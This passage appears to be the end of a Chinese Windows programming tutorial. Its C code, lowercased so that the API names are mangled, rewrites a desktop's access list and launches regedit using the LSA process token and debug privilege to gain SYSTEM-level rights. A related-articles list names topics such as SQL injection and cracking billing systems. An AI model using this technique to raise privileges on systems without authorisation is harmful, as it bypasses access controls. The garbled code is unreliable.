if (!getsecuritydescriptordacl(
psd,
&bdaclpresent,
&pacl,
&bdaclexist)
)
__leave;
// initialize.
zeromemory(&aclsizeinfo, sizeof(acl_size_information));
aclsizeinfo.aclbytesinuse = sizeof(acl);
// call only if null dacl.
if (pacl != null)
{
// determine the size of the acl information.
if (!getaclinformation(
pacl,
(lpvoid)&aclsizeinfo,
sizeof(acl_size_information),
aclsizeinformation)
)
__leave;
}
// compute the size of the new acl.
dwnewaclsize = aclsizeinfo.aclbytesinuse +
sizeof(access_allowed_ace) +
getlengthsid(psid) - sizeof(dword);
// allocate buffer for the new acl.
pnewacl = (pacl)heapalloc(
getprocessheap(),
heap_zero_memory,
dwnewaclsize);
if (pnewacl == null)
__leave;
// initialize the new acl.
if (!initializeacl(pnewacl, dwnewaclsize, acl_revision))
__leave;
// if dacl is present, copy it to a new dacl.
if (bdaclpresent)
{
// copy the aces to the new acl.
if (aclsizeinfo.acecount)
{
for (i=0; i < aclsizeinfo.acecount; i++)
{
// get an ace.
if (!getace(pacl, i, &ptempace))
__leave;
// add the ace to the new acl.
if (!addace(
pnewacl,
acl_revision,
maxdword,
ptempace,
((pace_header)ptempace)->acesize)
)
__leave;
}
}
}
// add ace to the dacl.
if (!addaccessallowedace(
pnewacl,
acl_revision,
desktop_all,
psid)
)
__leave;
// set new dacl to the new security descriptor.
if (!setsecuritydescriptordacl(
psdnew,
true,
pnewacl,
false)
)
__leave;
// set the new security descriptor for the desktop object.
if (!setuserobjectsecurity(hdesk, &si, psdnew))
__leave;
// indicate success.
bsuccess = true;
}
__finally
{
// free buffers.
if (pnewacl != null)
heapfree(getprocessheap(), 0, (lpvoid)pnewacl);
if (psd != null)
heapfree(getprocessheap(), 0, (lpvoid)psd);
if (psdnew != null)
heapfree(getprocessheap(), 0, (lpvoid)psdnew);
}
return bsuccess;
}
int main(int argc, char **argv)
{
handle htoken = null;
enableprivilege(se_debug_name);
htoken = getlsatoken();
startinteractiveclientprocess(null, null, null, argc==2?argv[1]:"regedit", htoken);
return 0;
}
上面这两种方法都能很好的完全功能,但是建议用第二种,虽然代码看上去有点长,但是很稳定.
代码又长又乱,其中肯定有错误之处,还请大家告之.谢过先... ;-)
()
相关文章:
- · 对计算机技术中的十个重要关系的剖析
- · 用CDlinux做防火墙和上网共享
- · 因地制宜:谈三种防火墙配置方案
- · ie二级网页打不开 复制粘贴不能用
- · 防患于未然:Windows安全小技巧两则
- · 做厚道小黑客的九大贴身秘技
- · QQ被封锁上不了线怎么办
- · 不让烦人程序自动启动
- · WinXP中自定义启动项目的顺序
- · 多系统告别启动菜单
- · 用HelixProducer实现局域网内现场直播
- · “夹心”网页你敢“吃”?
- · 家庭网络共享设备选购指南
- · 给陌生人的警告提示
- · 查看内存是否处于双通道模式
- · 妙用:让过期软件自己退出硬盘
- · SQL Server 中各个系统表的作用
- · Windows XP 超强syskey命令
- · 解决注册表被锁问题100%有效的办法
- · 如何给XP设置超级管理员密码
- · 修改用户控制权限管理自启动文件
- · 探测远程主机上防火墙允许开放端口
- · 溢出下shell下的文件上传
- · 破解新的网吧记费管理系统punwin
- · JSP漏洞大观
- · 安全小知识:Rundll.exe是病毒吗?
- · 为Linux操作系统安装第2个硬盘
- · 电脑优化技巧骗术揭密
- · ADSL掉线八宗罪处理方法招招应对
- · 让系统自动清除系统中的碎片
- · win2003不能网上升级解决
- · 怎样编写远程漏洞测试代码
- · SQL注入实战---利用“dbo”获得SQL管理权限和系统权限
- · 重新编译OpenBSD内核
- · Solaris for x86在vmware4.51安装全过程
- · 还原精灵之另类破解
- · 网吧的破解非常简单
- · 计算机信息系统安全环境的五大管理要素
